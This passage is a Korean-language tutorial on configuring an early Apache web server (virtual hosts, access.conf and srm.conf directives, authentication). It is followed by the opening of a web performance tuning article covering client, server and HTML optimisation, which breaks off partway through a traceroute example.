하지만 프록시 서버 운영을 위해서는 Squid 와 같은 전문 프로그램을 사용하는 것이 좋다.

5. 가상 호스트
아파치의 IP 별칭(Alias) 기능은 가상호스트 기능을 지원한다.
흔히 ISP 들이 제공하는 웹호스팅을 할 수 있는 능력이 있는 것이다.가상호스트의 기능이다.

IP 별칭 기능을 사용하여 하나의 네트웍 인터페이스에 여러개의 주소를 부여할 수 있다.

도메인 네임 서버에 하나의 IP 주소에 대하여 여러개의 서로 다른 이름을 부여할 수 있다.

아파치 웹서버는 서로 다른 IP 주소 또는 서로 다른 호스트 이름에 대하여 한번의 실행을 통해서도 동시에 서비스를 할 수 있다.

위의 세가지 기능중 두가지 방식으로 가상 호스트 기능을 구현할 수 있다.

먼저 IP 주소도 다르고, 도메인 이름도 다른 경우.
이때는 도메인 이름(들)과 IP 주소들을 확보해야 한다.
IP 주소가 다르다고 여러대의 컴퓨터를 사용할 필요는 없다.
한대의 컴퓨터는 정확하게 말해서 하나의 네트웍 인터페이스에 두 개 이상의 IP 주소를 부여 할 수 있는 방법을 제공한다.
# ifconfig eth0:0 192.168.1.2
# ifconfig eht0:1 192.168.1.3
# ifconfig eth0:2 192.168.1.4

다음은 IP 주소는 하나인데, 도메인 이름이 여러개인 경우
IP 사용측면에서 보면 경제적이다. 하나의 번호(주소)만이 필요하기 때문에..
하지만 HTTP1.1 이하의 웹브라우저에서는 엉뚱한 결과를 초래한다.

IP 주소가 하나뿐이므로 IP 별칭 기능을 사용할 때처럼 네트웍 인터페이스를 설정할 필요는 없다.
단지 도메인 네임 서버에 제대로 이름을 등록만 하면 된다.

그리고 httpd.conf 파일에 다음과 같은 형식으로 작성한다.

ServerAdmin moon@localhost
DocumentRoot /home/moon/html
ServerName moon.sarang.net
ErrorLog logs/moon-error_log
TransferLog logs/moon-access_log

설정하고자 하는 가상 호스트의 개수만큼 위의 설정을 반복한다.
만약 별도의 IP 를 사용한다면 첫줄에 IP 를 그렇지 않다면 이름을 적어준다.
특별히 특정 가상 호스트와 특정 IP 주소를 결합시키고자 할 때는 위의설정 내부에
BindAddress IP 주소 설정을 사용한다

6. 그밖에..
위에 설명한 기능이외에도 아파치와 관련된 많은 프로젝트들이 있다.

일단 여기서는 중요한 것 몇가지만을 언급하겠다.(제목만)

- 아파치 SSL (Secure Socket Layer)

- PHP/FI 프로젝트
http://www.vex.net/ph

- 아파치/JSDK 프로젝트
http://java.apache.org

- 아파치/펄 통합 프로젝트
http://perl.apache.org

- 매거진 Apache Week
http://www.apacheweek.com

access.conf - 보안 접근 제어 설정파일
httpd - srm - access - order

access.conf - 보안 접근 제어 설정파일
1. 아파치의 보안설정 파일
이 파일은 웹서버에게 접근 정책을 수립하는데 사용한다.
아파치는 크게 두가지 파일로 결정하는데, 하나는 전체적인 기본설정을 하는 access.conf 이고, 다른 하나는 각 디렉토리 별로 자세히 결정하는 .htaccess 파일이다.

기본 형식은 다음과 같다.

디렉토리 이하에 대한 접근 정책 정의

마치 html 페이지를 작성하는 것처럼 되어 있다. 중요한 디렉토리로는 일단 모든 문서의 루트가 되는 DocumentRoot, 그리고 보안상의 이슈가 되는 CGI 디렉토리 등이 있다.

2. 문서 디렉토리에 대한 설정
디렉토리 이름에는 와일드 카드 문자(?,*) 를 사용할 수 있다.

우선 Options에 대하여 알아보자.

먼저 All 과 None 는 거의 사용되지 않을 것이다. 모든 것을 허용하는 것은 보안의 위협 요소인 반면, 모든 것을 허용하지 않는다면 뭐하러 서버를 구축하겠는가?

Indexes 는 디렉토리를 가리키는 URL 의 경우에 index.html 등의 DirectoryIndex에서 정의한 파일이 없는 경우, 웹서버가 알아서 디렉토리의 파일 목록을 보여 줄 것인지를 결정한다.

- ExecCGI : 그 디렉토리 이하에 있는 CGI 스크립트의 실행을 허가한다.
- Includes : SSI 서버측 인클루드를 허용할 것을 결정한다.
- IncludesNOEXEC : SSI 를 허용하되 #exec 명령과 CGI 스크립트 #include를 불허 한다.
- SymLinksIfOwnerMatch : 대상 파일이나 디렉토리가 심볼릭 링크와 같은 사용자에 의해 소유될 때만 심볼릭 링크를 따르도록 한다.
- MultiViews : 상대 클라이언트 브라우저 능력에 따라 내용을 다르게 보내는 기능을 말한다. All을 선택하더라도 이것은 포함되지 않으므로 직접 명시해야 한다.

다음으로 AllowOverride에 대해서

이 부분은 각 디렉토리의 특수한 보안설정파일 .htaccess에서 지금 여기서 설정하고있는 기본값을 변경할 수 있도록 할 것인지,또는 어떤 어떤 값에 대해서만 변경을 허용할 것인지를 정의한다. 영어 단어 뜻 그대로다.

일반적으로는 아무것도 할 수 없는 none 라고 하는 것이 안전하다.

Options 는 각 디렉토리에 대하여 Options 에 대한 설정을 변경할 수 있도록 한다.
FileInfo 는 문서 형태를 제어 할 수 있는 AddEncoding, AddLanguage, AddTypeDefaultType, 그리고 LanguagePriority 지시자를 사용할 수 있도록 한다.
AuthConfig 는 인증 방법 지시자를 사용할 수 있다. AuthDBMGroupFile, AuthDBMUserFile, AuthGroupFile, AuthName, AuthType, AuthUserFile, 그리고 require 등이 있다.
Limit 는 호스트 접근 제어 지시자를 변경 할 수 있도록 해준다. allow, deny 그리고 order 등이 바로 그것이다. 이에 대한 설명은 곧 이어 나올 것이다.
Indexes 는 디렉토리 인덱싱에 관련된 지시자들을 사용할 수 있도록 허용한다. AddDescription, AddIcon, AddIconByEncoding, AddIconByType, DefaultIcon, DirectoryIndex, FancyIndexing, HeaderName, IndexIgnore, IndexOptions, ReadmeName 등

다음은 서버에의 접근 권한에 대한 설정 2개이다.
order
접근 정책에 대한 순서를 설정한다.
보통 2가지 경우가 가능한데, order allow,dery 처럼 우선 허용 다음 거부,또 order deny,allow 가 그 반대이다.
그외에도 mutual-failure 는 allow, deny 등에 의해 명시적으로 설정된것이 아닌 경우에는 모두 거절하는 빡빡한 설정이다.

allow 또는 deny
사용 형식은 allow from all 또는 도메인명이다. 예를 들어
allow from all 은 모든 곳으로부터의 요청을 허용함을 의미한다. 반대로,
deny form all 은 모든 곳으로부터의 요청을 일단 거부한다. 다음으로
allow from kornet.nm.kr 이라고 적으면 도메인명이 kornet.nm.kr 에 속한 호스트들의 요청을 허용한다.
보통 인트라넷의 경우에는 순서를 deny,allow 놓은후,
하나씩 접근을 허용할 호스트들 또는 도메인 집단을 적어 나간다.

# First, we configure the "default" to be a very restrictive set of
# permissions.
먼저 우리는 "기본설정(default)" 를 아주 엄격한 권한 제어를 한다.

Options FollowSymLinks
AllowOverride None

/ 디렉토리는 Option으로 FollowSymLinks만을 가지며, AllowOverride는 허용되지 않는다.

# Note that from this point forward you must specifically allow
# particular features to be enabled - so if something's not working as
# you might expect, make sure that you have specifically enabled it
# below.

# This should be changed to whatever you set DocumentRoot to.

# This may also be "None", "All", or any combination of "Indexes",
# "Includes", "FollowSymLinks", "ExecCGI", or "MultiViews".
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.

다음 옵션은 None 또는 All 이라고 설정하거나, 개별적인 옵션들 Indexes,
Includes, FollowSymLinks, ExecCGI, MultiViews 를 조합하여 표현할 수 있다.
주의할 것은 마지막의 MultiViews 는 All 이라고 설정하는 것과 상관없이
명시적으로 표시해 주어야 한다.

Options Indexes Includes ExecCGI

# This controls which options the .htaccess files in directories can
# override. Can also be "All", or any combination of "Options", "FileInfo",
# "AuthConfig", and "Limit"

다음은 각자 디렉토리 안에 놓인 .htaccess 파일의옵션 중 어떤 것이 전체설정값을
무시할 수 있는지를 결정한다.
마찬가지로 All 을 사용할 수도 있고, Options, FileInfo, AuthConfig, Limit 등의
값을 조합하여 표현 가능하다.

AllowOverride None

# Controls who can get stuff from this server.

위 설정은 매우 빡빡한 설정으로 .htaccess 에서의 옵션 변화를 허용하지 않는다.

order allow,deny
allow from all

서버에 접근하도록 허용하는 정책이다.

CGI 디렉토리에 대한 설정
# @@ServerRoot@@/cgi-bin should be changed to whatever your ScriptAliased
# CGI directory exists, if you have that configured.

AllowOverride None
Options None

위의 설정이 가장 무난하다고 하겠다. .htaccess 파일에 어떤 변화도 허용하지 않으며,
아무런 옵션도 지정하지 않는다. CGI 디렉토리는 매우 중요한 곳이기 때문이다.

# Allow server status reports, with the URL of http://servername/server-status
# Change the ".your_domain.com" to match your domain to enable.

SetHandler server-status

order deny,allow
deny from all
allow from localhost

# There have been reports of people trying to abuse an old bug from pre-1.1
# days. This bug involved a CGI script distributed as a part of Apache.
# By uncommenting these lines you can redirect these attacks to a logging
# script on phf.apache.org. Or, you can record them yourself, using the script
# support/phf_abuse_log.cgi.

#
#deny from all
#ErrorDocument 403 http://phf.apache.org/phf_abuse_log.cgi
#

# You may place any other directories or locations you wish to have
# access information for after this one.

3. 인증메커니즘 설정하기
사이에 들어가는 접근제한 관련 태그중에서 AuthType 는 해당 디렉토리의 인증 방식을 결정한다. Basic, Digest(브라우저들이 이를 지원해야만 한다.) 등의 방식이 있다.

.........
AuthType Basic
AuthName Hey! It's a Test
AuthUserFile /etc/httpd/conf/.htpasswd
AuthGroupFile /etc/httpd/conf/.htgroup

order allow, deny
allow form all
require user manager
require group admin

여기서 AuthName 은 임의로 중복되지 않는 이름을 주면 된다.
브라우저들이 이 인증 영역이름을 기억해두었다가 매번 귀찮게 입력하지 않도록 하게끔 할때 사용된다.
AuthName 값을 보고 이미 인증 과정을 거쳤던 사용자명과 패스워드를 자동으로 전송해준다.

AuthUserFile 과 AuthGroupFile 은 각각 사용자와 패스워드 정보를 저장하고 있는 파일, 그리고 사용자를 그룹으로 등록한 파일이다.

require 문은 require user 다음에 사용자명을 나열하거나 require gropu 다음에 그룹명을 적어 인증에 사용될 사용자 범위를 정한다.
위의 예에서는 사용자명이 manager 이거나, 그룹명이 admin 에 속하는 사람들만 허용한다.
여기에 나열되지 않은 사람들은 패스워드를 물어볼 기회조차 얻지 못하는 것이다.

srm.conf - 서버 자원 관련 설정파일
httpd - srm - access - order

httpd.conf 가 웹서버 전체에 대한 설정파일이라면, srm.conf 는 웹서버가 관리하는 자원에 대한 설정파일이다.

DocumentRoot - 문서 루트 디렉토리 지정
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.

DocumentRoot /home/httpd/html

중요한 설정이다. 서비스할 웹서버가 바로 이 디렉토리 이하로 부터 시작된다.
위의 설정은 래드햇의 설정을 따른 것이다.

UserDir - 사용자 각자의 홈페이지 디렉토리
# UserDir: The name of the directory which is appended onto a user's home
# directory if a ~user request is recieved.

UserDir public_html

각 사용자의 계정 밑에 public_html 이라는 디렉토리를 만들고 그곳을 각 사용자 계정의 웹 루트디렉토리로 설정한다.
불러올때는 틸드(~) 문자를 사용해야 한다.
http://www.linux.org/~iloveu

DirectoryIndex - 디렉토리에서 기본 문서 찾는 순서
# DirectoryIndex: Name of the file or files to use as a pre-written HTML
# directory index. Separate multiple entries with spaces.

DirectoryIndex index.html index.htm index.cgi index.php3

http://www.linux.org/~iloveu 처럼 디렉토리로 URL 이 끝났을때 보여주는 기본 문서를 지정한다.

FancyIndexing - 디렉토리 파일 인덱스 표시방법
# FancyIndexing is whether you want fancy directory indexing or standard

FancyIndexing on

원하는 문서가 없는 경우 디렉토리에 들어 있는 파일을 어떻게 표시할 것인지를 정한다.
on 하면 보기 좋게 아이콘과 함께 화면을 잘 표시해 준다.

각파일에 맞는 아이콘 설정하기
# AddIcon tells the server which icon to show for different files or filename
# extensions

파일의 Encoding 인코딩과 각종 타입에 따라 아이콘을 지정하는 방법이다.

AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip

이것은 x-compress, x-gzip 자료형에 대하여 /icon/디렉토리에 있는 compressed.gif 파일을 아이콘으로 사용하겠다는 것이다.

AddIconByType (TXT,/icons/text.gif) text/*
AddIconByType (IMG,/icons/image2.gif) image/*
AddIconByType (SND,/icons/sound2.gif) audio/*
AddIconByType (VID,/icons/movie.gif) video/*

이것은 파일 유형에 따라 각각 알맞는 아이콘을 부여한다.

다음 아래는 파일의 확장자를 보고 아이콘을 부여하는 방법이다.

AddIcon /icons/binary.gif .bin .exe
AddIcon /icons/binhex.gif .hqx
AddIcon /icons/tar.gif .tar
AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
AddIcon /icons/a.gif .ps .ai .eps
AddIcon /icons/layout.gif .html .shtml .htm .pdf
AddIcon /icons/text.gif .txt
AddIcon /icons/c.gif .c
AddIcon /icons/p.gif .pl .py
AddIcon /icons/f.gif .for
AddIcon /icons/dvi.gif .dvi
AddIcon /icons/uuencoded.gif .uu
AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
AddIcon /icons/tex.gif .tex
AddIcon /icons/bomb.gif core

AddIcon /icons/back.gif ..
AddIcon /icons/hand.right.gif README
AddIcon /icons/folder.gif ^^DIRECTORY^^
AddIcon /icons/blank.gif ^^BLANKICON^^

AddIcon 이라는 지시자를 쓰며, 뒤에 적은 이름으로 끝나는 파일에 적용한다.
맨 마지막의 4개는 약간 특별하게 보이는데, 상위디렉토리, README 파일, 디렉토리, 블랭크 아이콘 표시를 색다르게 한 것이다.

# DefaultIcon is which icon to show for files which do not have an icon
# explicitly set.

DefaultIcon /icons/unknown.gif

위에서 지정한 어떠한 규칙에도 해당하지 않는 파일에 대한 아이콘을 설정한다.

# AddDescription allows you to place a short description after a file in
# server-generated indexes.
# Format: AddDescription "description" filename

AddDescription "GIF 파일" .gif

일반적으로 빈칸으로 출력되는 파일 설명 필드에 설명을 적어 넣을 수 있다.

기본 README 파일명, HEADER 파일명 정하기
# ReadmeName is the name of the README file the server will look for by
# default. Format: ReadmeName name
#
# The server will first look for name.html, include it if found, and it will
# then look for name and include it as plaintext if found.
#
# HeaderName is the name of a file which should be prepended to
# directory indexes.

ReadmeName README
HeaderName HEADER

웹 서버가 기본적으로 찾아볼 README 파일의 이름을 정한다. 위에서 ReadmeName README 라고 정하면,
우선 README.html 파일을 검색하여 문서에 포함시킨다. 없다면 README 라는 텍스트 파일을 포함한다.
HEADER 는 디렉토리의 내용을 보여줄 때 만들어지는 자동 HTML 의 앞부분에 그 파일의 내용이 추가된다.

인덱스에서 제외할 파일
# IndexIgnore is a set of filenames which directory indexing should ignore
# Format: IndexIgnore name1 name2...

IndexIgnore .??* *~ *# HEADER* README* RCS

필요한 내용으로, 도트(.) 로 시작하는 파일명, # 문자로 시작하는 파일명, 그리고 인덱스 페이지의 앞뒤에 첨부되는 HEADER, README 파일은 인덱스에서 보여주지 않는다.

각 디렉토리에 대한 접근 제한 파일
# AccessFileName: The name of the file to look for in each directory
# for access control information.

AccessFileName .htaccess

아파치 서버는 NCSA 서버와 동일한 방식의 문서 접근 제한 매커니즘을 가지고 있다. 각 디렉토리에 AccessFileName 이 지치아는 파일을 두어 문서 접근에 대한 권한을 제어한다.
일반적으로 .htaccess 라는 이름을 사용한다.

기본문서 유형 결정
# TypesConfig describes where the mime.types file (or equivalent) is
# to be found.

TypesConfig conf/mime.types

# DefaultType is the default MIME type for documents which the server
# cannot find the type of from filename extensions.

DefaultType text/plain

서버가 파일 확장자 등으로 문서의 MIME 유형을 판별하지 못할때는,
DefaultType에서 지정한 문서형으로 간주하도록 한다.

전송중 압축 자료 풀기
# AddEncoding allows you to have certain browsers (Mosaic/X 2.1+) uncompress
# information on the fly. Note: Not all browsers support this.

AddEncoding x-compress Z
AddEncoding x-gzip gz

# AddLanguage allows you to specify the language of a document. You can
# then use content negotiation to give a browser a file in a language
# it can understand. Note that the suffix does not have to be the same
# as the language keyword --- those with documents in Polish (whose
# net-standard language code is pl) may wish to use "AddLanguage pl .po"
# to avoid the ambiguity with the common suffix for perl scripts.

AddLanguage en .en
AddLanguage fr .fr
AddLanguage de .de
AddLanguage da .da
AddLanguage el .el
AddLanguage it .it

# LanguagePriority allows you to give precedence to some languages
# in case of a tie during content negotiation.
# Just list the languages in decreasing order of preference.

LanguagePriority en fr de

# Redirect allows you to tell clients about documents which used to exist in
# your server's namespace, but do not anymore. This allows you to tell the
# clients where to look for the relocated document.
# Format: Redirect fakename url

# Aliases: Add here as many aliases as you need (with no limit). The format is
# Alias fakename realname

# Note that if you include a trailing / on fakename then the server will
# require it to be present in the URL. So "/icons" isn't aliased in this
# example.

Alias /icons/ /home/httpd/icons/

매우 중요한 기능이다. 형식은 보통
Alias /가짜이름/ /진짜 이름/ 으로 적는다.
위의 예는 /icons/ 라는 부분은 모두 /home/httpd/icons/ 라고 대체되어 해석된다는 것이다.
여러가지 장점이 있다. 혹시 실제 이름이 바뀐다 할지라도 이부분만을 바꿔주면 된다는것.
또, 외우기 쉽고, 짧은 이름 사용이 가능하다는 것 등이다.

# ScriptAlias: This controls which directories contain server scripts.
# Format: ScriptAlias fakename realname

ScriptAlias /cgi-bin/ /home/httpd/cgi-bin/

위의 별칭(Alias)와 같은 기능이다.

# If you want to use server side includes, or CGI outside
# ScriptAliased directories, uncomment the following lines.

# AddType allows you to tweak mime.types without actually editing it, or to
# make certain files to be certain types.
# Format: AddType type/subtype ext1

# For example, the PHP3 module (not part of the Apache distribution)
# will typically use:
#AddType application/x-httpd-php3 .phtml
#AddType application/x-httpd-php3-source .phps

# AddHandler allows you to map certain file extensions to "handlers",
# actions unrelated to filetype. These can be either built into the server
# or added with the Action command (see below)
# Format: AddHandler action-name ext1

# To use CGI scripts:

AddHandler cgi-script .cgi

ScriptAlias 로 지시한 디렉토리 외부에서도 스크립트 실행이 가능하게 할때 설정한다.
여기서 .cgi 라는 파일에 대하여 서버는 스크립트 처리를 의미하는 cgi-script 라는 서버 기능을 호출하도록 설정한다.
보안상의 이유로 ScriptAlias 지시어가 가리키는 디렉토리 외부의 CGI 스크립트를 믿을 수 없다고 판단할 때는 설정하지 않는 것이 좋다.

# To use server-parsed HTML files
AddType text/html .shtml
AddHandler server-parsed .shtml

# Uncomment the following line to enable Apache's send-asis HTTP file
# feature
#AddHandler send-as-is asis

# If you wish to use server-parsed imagemap files, use
AddHandler imap-file map

# To enable type maps, you might want to use
#AddHandler type-map var

# Action lets you define media types that will execute a script whenever
# a matching file is called. This eliminates the need for repeated URL
# pathnames for oft-used CGI file processors.
# Format: Action media/type /cgi-script/location
# Format: Action handler-name /cgi-script/location

# MetaDir: specifies the name of the directory in which Apache can find
# meta information files. These files contain additional HTTP headers
# to include when sending the document

#MetaDir .web

# MetaSuffix: specifies the file name suffix for the file containing the
# meta information.

#MetaSuffix .meta

# Customizable error response (Apache style)
# these come in three flavors
#
# 1) plain text
#ErrorDocument 500 "The server made a boo boo.
# n.b. the (") marks it as text, it does not get output
#
# 2) local redirects
#ErrorDocument 404 /missing.html
# to redirect to local url /missing.html
#ErrorDocument 404 /cgi-bin/missing_handler.pl
# n.b. can redirect to a script or a document using server-side-includes.
#
# 3) external redirects
#ErrorDocument 402 http://some.other_server.com/subscription_info.html
#

에러 파일을 설정 할 수 있다.
형식은 ErrorDocument <에러번호> <출력내용> 이다.
세가지 내용이 올수 있다. 특정 텍스트, 특정페이지, 외부 페이지 연계 등.
예) ErrorDocument 404 /missing.html
ErrorDocument 404 http://localhost/missing.html

# mod_mime_magic allows the server to use various hints from the file itself
# to determine its type.
#MimeMagicFile conf/magic

# The following directives disable keepalives and HTTP header flushes.
# The first directive disables it for Netscape 2.x and browsers which
# spoof it. There are known problems with these.
# The second directive is for Microsoft Internet Explorer 4.0b2
# which has a broken HTTP/1.1 implementation and does not properly
# support keepalive when it is used on 301 or 302 (redirect) responses.

BrowserMatch "Mozilla/2" nokeepalive
BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0

# The following directive disables HTTP/1.1 responses to browsers which
# are in violation of the HTTP/1.0 spec by not being able to grok a
# basic 1.1 response.

BrowserMatch "RealPlayer 4\.0" force-response-1.0
BrowserMatch "Java/1\.0" force-response-1.0
BrowserMatch "JDK/1\.0" force-response-1.0

Web Performance Tuning
Web Performance Tuning

한별 텔레콤 Internet Business Center
정성욱 [ Netkiller ]
비트 교육센터 강사
netkiller@hbtel.com | info@netkiller.com

1. Web Performance Tunning 소개 및 정의
웹 서비스의 성능 최적화는 오직 서버측에서만의 튜닝을 생각하기 쉬운데 사실, 정확한 의미의 성능 최적화는 웹 서비스 이용자와 서버측 모두의 성능 개선에 있다. 이 글은 아파치 웹 서버나, 유닉스, 리눅스 그리고 웹 브라우저에 이르기까지 통합적인 웹 서비스 성능 개선 방안을 다루므로, 세부적인 웹 서버 구축에 대한 설명등은 포함하지 않았다. 그러나 글의 후반부에서는 가상 호스팅 관리자를 위한 아파치 웹 서버의 성능 개선에 필요한 요소나 관련 세부 옵션에 대한 언급을 하고 있다.
필자는 현재 인터넷 관리자를 위한 온라인 공동체라는 [ 넷킬러 웹 사이트 : http://www.netkiller.com ]를 운영하고 있으며, 글에 대한 세부적인 질문과 의견은 해당 분야별 게시판을 이용하기 바란다. : - )

2. 기본적인 성능 개선 방안

가. 이용자측의 성능 개선 [익스플로러, 네스케이프]

웹 브라우저의 캐시를 최대한 활용한다.
브라우저의 옵션을 보면 다운 로드 받은 웹 문서를 브라우저의 캐시에 저장하여 다음 접속시 문서 변경 확인 여부 설정을 할수 있다.
여기서 가급적 자동(섹션당 한번)으로 설정해 준다. 익스플로러의 경우 캐시 사용량까지 미리 정해 줄수 있다.

Proxy 서비스를 활용한다.
프락시 서버는 이용자가 요청한 웹 페이지를 서버의 캐시에 임시로 저장하여 다음 요청이 있을시 해당 캐시 파일을 보내주어 속도의 개선 및 인터넷 부하를 줄여준다.

더 빠른 DNS 서버를 사용한다.
임의의 웹 사이트를 접속할 때 자주 볼수 있는 웹 브라우저의 접속 상황 메시지는 Contacting Host , Host Connected, File Transferred at 3.4kbps 등이다. 여기서 Contacting Host에서 Host Connected의 시간 간격이 비정상적으로 길다면 DNS 서버를 한번 체크해볼 필요가 있다. DNS 서버는 이용자가 인터넷 에 접속할 때마다 사용하는 서비스이므로, 가급적 자신의 ISP에서 제공하는 빠른 네임 서버를 쓰는 것이 좋다.

자신의 ISP가 제공하는 프로그램 배포 관련Mirror 사이트를 활용한다.
해외 인터넷 사이트에서 프로그램 다운로드등에 대한 부하를 감소시키기 위하여 국내 ISP들은 대부분 자사의 홈페이지아래 각종 Mirroring 사이트를 운영하고 있다. 예를 들어 tucows라는 인터넷 유틸리티 전문 사이트는 국내 isp에서 주기적으로 웹 사이트 전체를 복사하여 Mirror 사이트를 운영하고 있다.

자바 애플릿을 웹 브라우저에 미리 설치한다.
자바의 로딩 속도를 향상 시키기 위하여 필요한 자바 애플릿의 클라스 파일들을 이용자 웹 브라우저의 자바 라이브러리에 미리 설치한다. 가령 네스케이프의 경우 zip으로 압축된 라이브러리 파일을 열어 필요한 클라스 파일들을 추가하고 다시 zip으로 묵어주면 된다. 또는 임의의 디렉토리안에 클라스 파일들을 넣어 이용자가 직접 CLASSPATH에 해당 디렉토리를 추가하면 웹 서버로부터 애플릿을 다운받아 로컬에 설치된 코드를 참조하여 사용할 수 있다. 그러나 이 방법은 임의의 이용자를 위한 성능 개선안이 될순 없다.
[O’Reilly : Web Performance Tuning 인용]

더 빠른 모뎀과 시스템 그리고 더 나은 그래픽 카드를 구입한다.
모뎀은 인터넷 속도를 좌우하므로 빠를수록 좋으며 그래픽 카드가 좋을수록 화면에 브라우징하는 속도가 개선될 수 있다.

나. 서버측의 성능 개선 [ 웹 서버 ]

더 빠른 인터넷 전용선을 확보한다.
성능을 개선할수 있는 가장 확실한 선택은 바로 더 빠른 전용선을 확보하는 것이다. 그러나 비용면에서 월 유지비가 많이 들어 가급적 사용량에 따라 최적의 전용선 속도를 선택하는 것이 현명하다. 인터넷 전용선 사용량은 Unix, Linux 용 네트워크 모니터링 프로그램으로 널리 알려진 MRTG(http://ee-staff.ethz.ch/~oetiker/webtools/mrtg/mrtg.html)를 가 많이 쓰인다. 이미 국내 모 ISP에서는 전용선 가입자에 대한 MRTG 및 보안 체크 서비스까지 제공하고 있다. MRTG에서 자사의 인터넷 사용량(IN/OUT)이 전용선 속도의 80% 이상까지 다다르면 패킷 손실이 생겨 폭주 및 과부하가 자주 발생할수 있으므로, 전용선 업그레이드를 고려할 필요가 있다.

최적의 Subnet Mask를 설정한다.
라우터의 경우 불필요한 Subnet Mask를 줄여줄 필요가 있다.
가령 같은 라우터에 연결된 컴퓨터들의 IP address 갯수가 30개밖에 되지 않으면서 굳이 subnetmask를 255.255.255.0로 잡아 사용하게 되면 나머지 225개의 D class IP address를 검색하느라 라우팅 속도가 느려질 수 있다.

웹 서비스만을 위한 단독 시스템을 확보한다.
웹 서버와 메일 서버, 그리고 DNS 서버에 이르기까지 하나의 시스템으로 사용하는 경우가 많은데, 이것은 웹 서비스로는 치명적이다. 보안 문제가 생길수도 있으며, 웹 서버의 부하에 의해 다른 서비스에 차질이 생길수 있다. 물론, 그 반대의 경우도 가능하다. 가급적이면 웹 서버 시스템을 따로 구성하는데, 웹 서버 시스템의 경우 보통 RAM 용량을 충분히 확보하고 하드 드라이브는 빠른 스카시 타입을 사용함으로써 IO의 부하를 줄여 속도 향상을 가져올 수 있다. 연산이 과도한 CGI 프로그램이나 대용량의 DB 서버가 없다면 CPU까지는 굳이 업그레이드 할 필요는 없다. ^^

운영체제의 각종 제한 수치를 조정한다.
Linux의 경우 Sun과 같이 대용량 시스템이 아닌 PC급 서버를 기본 플렛폼으로 개발되고 서비스되는 까닭에 OS의 기본 설정이 Solaris에 비해 낮게 설정되어 있다. 결국 Linux에서 과부하를 이겨내기 위해서는 Linux 커널의 수정이 불가피하다. 그리고 운영체제에서의 TCP 재전송 최대 대기 시간 (TCP retransmit timeout)을 증가시킬 필요가 있다. 보통200 msec로 잡혀 있는데 느린 인터넷 환경에서는 200msec의 경우 TCP의 재전송 최대 대기 시간으론 부족할 수 있다. 이 외에도 웹 서버의 성능을 위해 각종 프로세스 관련 제한 수치를 조정할 필요가 있다.

웹 서버 프로그램의 성능을 최적화 한다.
웹 서버의 config 파일등에서 성능 향상을 위한 적절한 설정이 필요하다. 특히 아파치 웹 서버의 경우 기본 디폴트 값이 중 대형 웹 서비스를 하기엔 부족한면이 없지 않다. 최신 버전으로 업그레이드를 거듭할수록 더 많은 부하 및 속도에 대한 향상이 이루어 지므로, 가급적이면 최신 버전으로 업데이트를 해주는것도 좋은 방안이 될것이다. 이 글의 후반부에서 아파치 웹 서버에 대한 자세한 튜닝을 언급할 것이다.

자주 사용되는 cgi 결과들은 FILE(HTML…) 로 만든다.
이용자가 자주 실행하는 CGI 프로그램에 대한 결과나 DB 검색 결과등은 주기적으로 File(HTML…)로 만들 필요가 있다. 실행할 때마다 DB connect 에 의한 부하등을 획기적으로 줄일수 있기 때문이다. 현재 대부분의 검색 사이트들은 위와 같이 자주 읽히는 검색 결과들을 crontab을 이용하여 주기적으로 File로 만들어 두고 있다.

웹 서버를 분산 시킬 필요가 있다.
그래도 과부하에 의해 서비스가 지연될 경우에는 부하가 많이 걸리는 웹 사이트들을 따로 분리할 필요가 있다. 또는 DNS에서의 Round Robin 설정을 통해 이용자가 nslookup할때마다 다수의 IP 주소를 순차적으로 보내어 같은 웹 페이지를 가진 여러대의 웹 서버로 접속을 분산하면 그만큼 부하가 줄어들 것이다. 이외에도 전문 로드 밸런싱 소프트웨어를 이용하면 웹 서버의 접속 분산에 있어서 보다 지능화된 연결이 가능하다. 가령 DNS에서의 Round Robin 방식의 경우 단순히 IP 주소만을 달리 말해줄 뿐이지만, 전문 로드 밸런싱 서버를 이용하면 그때 마다의 각 웹 서버별 부하량을 체크하여 가장 부하가 적은 웹 서버로 접속을 유도할 수 있다. 물론, 접속 분산에 대한 스케줄 설정까지 가능하다. 유명한 무료 개인 홈페이지 제공 업체인 Geocity의 경우 지능형 로드 벨런싱 서버를 이용하여 수십대의 웹 서버를 분산시켜 운영하고 있다.

다. 웹 페이지의 성능 개선 [ HTML 문서]

HTML 문서의 용량을 최소한으로 줄인다.
여기서 말하는 HTML 문서의 용량은 웹 페이지에 속하는 각종 이미지등을 모두 고려한 용량을 말한다. 가령 이미지가 너무 크거나 웹 페이지의 소스가 필요없이 길경우 전체적인 웹 페이지의 용량은 증가하기 마련이다. 가령 56kbit/sec 모뎀의 이용자는 최대 초당 7 kbyte/sec 의 용량을 받을 수 있으므로, 웹 페이지의 전체 용량이 약 70Kbyte를 넘어설 경우 최소 10초 이상의 다운 로딩 시간이 필요하게 된다. 국내 및 해외 유명 웹 사이트들은 그 용량이 보통 60K 이하이다.

웹 브라우저의 캐시 기능을 활용한다.
전체적인 웹 페이지의 용량을 고려할 때 가급적 70K를 넘지 않는 것이 좋다고 했는데, 용량이 큰 이미지가 있다면 바로 앞의 용량에 여유가 있는 웹 페이지안에 픽셀 크기를 1로 잡아 점으로 처리하여 이용자의 브라우저 캐시에 미리 넣어 두는것도 좋은 방법이다. 물론, 목적 페이지에 도달하면 브라우저의 캐시에 저장된 이미지가 단숨에 로딩된다.

3. 웹 부하량 체크 방법

제대로된 튜닝을 하기 위해서는 우선 자신의 네트워크 및 시스템에 대한 부하를 체크할 필요가 있다. 여기서는 네트워크 및 웹 서버에 대한 종합적인 부하량 측정 방안을 알아보겠다.

가. 네트워크 부하량 체크

Traceroute (ftp://ftp.ee.lbl.gov/traceroute.tar.Z)
네트워크 연결 경로에 대한 라우팅 홉(HOP)지점마다의 주소와 그 속도를 측정할수 있는 유틸리티로 Linux의 경우 기본적으로 설치되어 있다.
- Sample -
[root@ns named]# traceroute -q 3 www.netkiller.com
## www.netkiller.com 에 대한 각 지점간 연결 속도를 3번씩 측정

traceroute to www.netkiller.com (210.103.183.35), 30 hops max, 40 byte packets
1 204.252.144.146 (204.252.144.146) 1.465 ms 1.433 ms 1.419 ms
